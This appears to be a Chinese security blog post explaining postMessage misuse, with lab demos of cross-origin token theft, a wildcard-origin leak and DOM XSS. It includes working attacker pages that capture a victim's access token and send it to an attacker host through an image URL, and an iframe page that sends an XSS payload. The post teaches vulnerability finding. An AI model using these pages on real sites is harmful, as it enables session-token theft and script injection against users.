postMessage造成的各种安全问题

2024-09-19 23:22   吉林  

1.什么是postMessage,它该如何使用?

在了解postMessage造成的各种安全问题前,我们还是来了解一下postMessage是一个什么东西。正如它的名字一样,它是用于发送消息的。这是HTML5中新增的一个解决跨域的方法。我们可以利用这个机制去跨域传递某些信息。而要使用postMessage也比较简单。我们写出下面两个demo用于测试:

发送消息的页面(sender.html),部署于

http://12x.xx.xxx.xxx:8071/
<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Sender Page</title></head><body>    <h1>Sender Page</h1>
<script> // 获取目标窗口 const targetWindow = window.open('http://12x.xx.xxx.xxx:8072/receiver.html');
// 等待目标窗口加载完成后再发送消息 targetWindow.addEventListener('load', function() { // 向目标窗口发送消息 targetWindow.postMessage('Hello from sender!', 'http://12x.xx.xxx.xxx:8072'); });</script></body></html>

接收消息的页面(receiver.html,部署于

http://12x.xx.xxx.xxx:8072/
<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Receiver Page</title></head><body>    <h1>Receiver Page</h1>    <div id="messageDisplay"></div>
<script> // 监听消息事件 window.addEventListener('message', function(event) { // 显示接收到的消息 document.getElementById('messageDisplay').innerText = 'Message received: ' + event.data;
// 发送回执给发送消息的页面 event.source.postMessage('Message received!', event.origin); });</script></body></html>

上面的代码写的很清楚,sender页面会先打开receiver页面窗口,然后调用postMessage()方法对receiver窗口发送信息。而receiver使用addEventListener()方法监听postMessage()发送过来的消息。我们来展示一下上述代码的效果,当我们访问

http://12x.xx.xxx.xxx:8071/sender.html

会打开

http://12x.xx.xxx.xxx:8072/receiver.html

窗口,并且receiver.html窗口能够成功接收到发来的信息:

我们不妨设想一下这种机制会应用在什么场景。可以想到一个经典应用场景,那就是SSO统一身份认证。比方说我这么设计,用户登录SSO后,可以利用这种机制去给不同页面发送用户身份凭据,从而实现一个简单的统一认证。

我们反复强调,这是一个用于跨域传递信息的机制。一提到能跨域,安全从业者就要警觉起来了,因为同样用于跨域的还有两个机制——JSONP和CORS,而众所周知,JSONP和CORS如果使用不当,都是很容易造成各种劫持问题的。因此我们可以大胆猜想一下,postMessage会不会也存在类似的安全问题呢?

2.postMessage使用不当造成的敏感信息劫持其一

我们可以把上面的demo简单改造一番,就可以很方便的演示这种情况了!这里借助J0o1ey师傅写的演示靶场来说明。地址

http://10x.xxx.xxx.xxx:8010

注意看这里的代码,前端把user的token硬编码在HTML中,并且这个页面接受host参数,host参数会被传递到window.open()方法中打开目标页面。再往后,就是使用postMessage()往目标页面(targetWindow窗口)中发送accessToken。

在一般情况下,开发者肯定是希望host中传入一个可信的域名,去实现类似sso的效果。但是任何用户输入都不可信,针对上述代码,其实我们可以构造下面这样一个恶意的接收端hacker.html

<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Receiver Page</title></head><body>    <h1>Receiver Page</h1>    <div id="accessTokenDisplay"></div>
<script> window.addEventListener('message', function(event) { // 检查消息来源是否是 http://10x.xxx.xxx.xxx:8010 if (event.origin === 'http://10x.xxx.xxx.xxx:8010') {//这里别加斜杠 // 检查消息中是否包含accessToken if (event.data && event.data.accessToken) { // 显示accessToken document.getElementById('accessTokenDisplay').innerText = 'AccessToken: ' + event.data.accessToken; } else { console.error('No accessToken found in the message.'); } } else { console.error('Received message from untrusted origin:', event.origin); } });</script></body></html>

我们将这个恶意页面部署在

http://12x.xx.xxx.xxx:8072/hacker.html

然后构造下面这个链接:

http://10x.xxx.xxx.xxx:8010/?host=http://12x.xx.xxx.xxx:8072/hacker.html

一旦用户点击了该链接,那么就会打开

http://12x.xx.xxx.xxx:8072/hacker.html

并往其中发送用户凭据:

当然,这还只是利用链中的一环,我们还可以再借助imgsrc之类的姿势,把用户的token进一步外带:

<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Receiver Page</title></head><body>    <h1>Receiver Page</h1>    <div id="accessTokenDisplay"></div>
<script> window.addEventListener('message', function(event) { // 检查消息来源是否是 http://10x.xxx.xxx.xxx:8010 if (event.origin === 'http://10x.xxx.xxx.xxx:8010') { // 检查消息中是否包含accessToken if (event.data && event.data.accessToken) { // 显示accessToken document.getElementById('accessTokenDisplay').innerText = 'AccessToken: ' + event.data.accessToken;var img=new Image();img.src='http://12x.xx.xxx.xxx:8072/?userinfo='+event.data.accessToken;document.getElementById('accessTokenDisplay').appendChild(img); } else { console.error('No accessToken found in the message.'); } } else { console.error('Received message from untrusted origin:', event.origin); } });</script></body></html>

注意标红的部分,我们把信息借助img src属性外带出去:

此时,成功外带。

有时候,开发者会做一些校验,来验证目标是否可信任,比如下面这个demo

但是很显然,这样也基本等于无用功,因为我们可以直接把设置一个目录,名字为tencent.com,把这个目录设置为网站主页,并且主页内容为上文提到的payload,还是可以绕过(和我们在CSRF绕过一文中提到的一些绕过思路非常类似,都是因为开发者的正则设计缺陷导致的绕过)。

3.postMessage使用不当造成的敏感信息劫持其

在上面的案例中,我们基本了解了postMessage使用不当会造成的一些安全问题,在上面的案例中,情况基本上可以总结为下面的逻辑:

也即,网站会打开一个新窗口,这个新窗口的url是我们可控的,postMessage的第二个参数,也即发送信息的目标页面也是我们可控的。对于这种情况,对CORS跨域资源共享漏洞记得比较清楚的师傅会马上建立一个对应关系,因为这种情况和CORS跨域资源共享漏洞的典型情况是非常类似的:

都是因为信任了用户传入的“源”,直接从用户输入中获取,殊不知这些都是可以轻易控制的,一旦被攻击者利用就会造成危害。

那么同样地,在CORS跨域资源共享漏洞里,还有其他情况,也即Access-Control-Allow-Origin被设置为*。在postMessage中会不会也有类似的情况呢?

答案也是有的,我们借助下面的demo来演示。

Child.html内容如下

<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>User info center</title> <script type="text/JavaScript"> var userinfo='User‘s_Secret_access_token_here';window.parent.postMessage(userinfo, "*"); //往parent窗口发送信息</script> </head> <body> Web page from http://12x.xx.xxx.xxx:8071/ </body> </html>

其部署于

http://12x.xx.xxx.xxx:8071/child.html

其中也放置了一个硬编码的用户token。并且其postMessage的第二个参数配置为*,也即信任任何页面。这种情况就非常危险了。攻击者可以构造下面这个恶意页面:

Attacker.html,部署于

http://12x.xx.xxx.xxx:8072/attacker.html
<script type="text/JavaScript"> onmessage = function( event ) { if(event.origin == "http://12x.xx.xxx.xxx:8071"){ alert(event.data);var img=new Image(); img.src='http://12x.xx.xxx.xxx:8072/?userinfo='+event.data; document.getElementById("otherPage").appendChild(img); } }; </script> <iframe lay-src="http://12x.xx.xxx.xxx:8071/child.html" id="otherPage"></iframe>

这个脚本的效果就是使用iframe打开http://12x.xx.xxx.xxx:8071/child.html页面,由于child.html中的逻辑是,往parent窗口中调用postMessage发送消息,这里也和第一种案例情况不同,第一种情况是前端主动地往targetWindow中发送信息,而这里使用parent实际上是被动地等待该页面被调用,一旦被调用就会发送信息,因此攻击者就会得逞。Attacker.html接到信息后,会进行弹窗,然后还是会调用img src属性把敏感信息进行外带。我们来模拟一下。

如果我们诱骗受害者访问

http://12x.xx.xxx.xxx:8072/attacker.html

受害者会看到一个弹窗,弹出了他的token,同时,其凭据被成功外带:

4.postMessage使用不当造成的其它安全问题

在上面的案例中,我们都是配置了一个恶意的接收者(或者说客户端),用于接受请求者(或者说服务端)发送的一些敏感信息。这又容易让人联想到和rmi serverrmi registryrmi client的各种爱恨情仇,如果对JAVA安全有了解的师傅,应该知道上面这几个东西是可以互相打的,客户端可以攻击服务端,服务端也可以攻击客户端。那么负责发送消息的postMessage()和接收消息的addEventListener()能不能互打呢?我们写出如下demo

Child.html,部署在

http://12x.xx.xxx.xxx:8071/child.html
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Web page from child.com</title> <script type="text/JavaScript"> //event 参数中有 data 属性,就是父窗口发送过来的数据 window.addEventListener("message", function( event ) { // 把父窗口发送过来的数据显示在子窗口中 document.getElementById("content").innerHTML+=event.data + "origin: " + event.origin+"<br/>"; }, false ); </script> </head> <body> Web page from http://12x.xx.xxx.xxx:8071/<div id="content"></div> </body></html>

可以看到,addEventListener()接受父窗口发送过来的数据,未经过滤和处理便直接输出在子窗口中,吃什么吐什么,符合XSS的基本特征,而且全程前端实现,还是非常危险的DOMXSS

此时,攻击者可以构造下面这样的攻击页面

Attacker.html,部署在

http://12x.xx.xxx.xxx:8072/attacker.html
<iframe lay-src="http://12x.xx.xxx.xxx:8071/child.html" id="otherPage"></iframe> <script type="text/JavaScript"> var i = document.getElementById("otherPage"); i.onload = function(){ i.contentWindow .postMessage("<img src=x onerror='alert(111);'", "*"); } </script>

我们直接发送一个XSS payload。此时,如果我们诱骗受害者访问

http://12x.xx.xxx.xxx:8072/attacker.html


即可触发XSS

因此,如果你发现addEventListener()接受任意来源的信息,并且未经任何过滤直接输出在页面上,那么是大概率存在一个DOM XSS的。平时漏洞挖掘的时候除了注意postMessage()也可以多注意addEventListener()接受的消息是否有输出在页面上。甚至可以利用这个思想去反打攻击者。比方说在上面的案例中,我们写的用于攻击的payload其实就是存在风险的,因为我用innerText把接收到的信息直接输出在页面上了

如果攻击者做了一个类似Cookie盒子的东西,把接收到的用户token保存起来,并且以web的方式展示,其实也是非常危险的,因为另一边也完全可以构造一个恶意消息去攻击攻击者

若上述消息被攻击者解码并在WEB页面中展示,就很有可能反打攻击者

5.结语

综上,这算是非常有意思的一种姿势,以后如果再遇到类似的用于跨域传递信息的功能,都可以往这种方向去思考,能不能用于跨域劫持一些敏感信息。同时也再次印证了那句话,任何用户输入都是不可信的。实战中如果想发现postMessage滥用,可以尝试借助postmessage-tracker这个浏览器插件

HW专项行动小组
大师!教我打攻防
 最新文章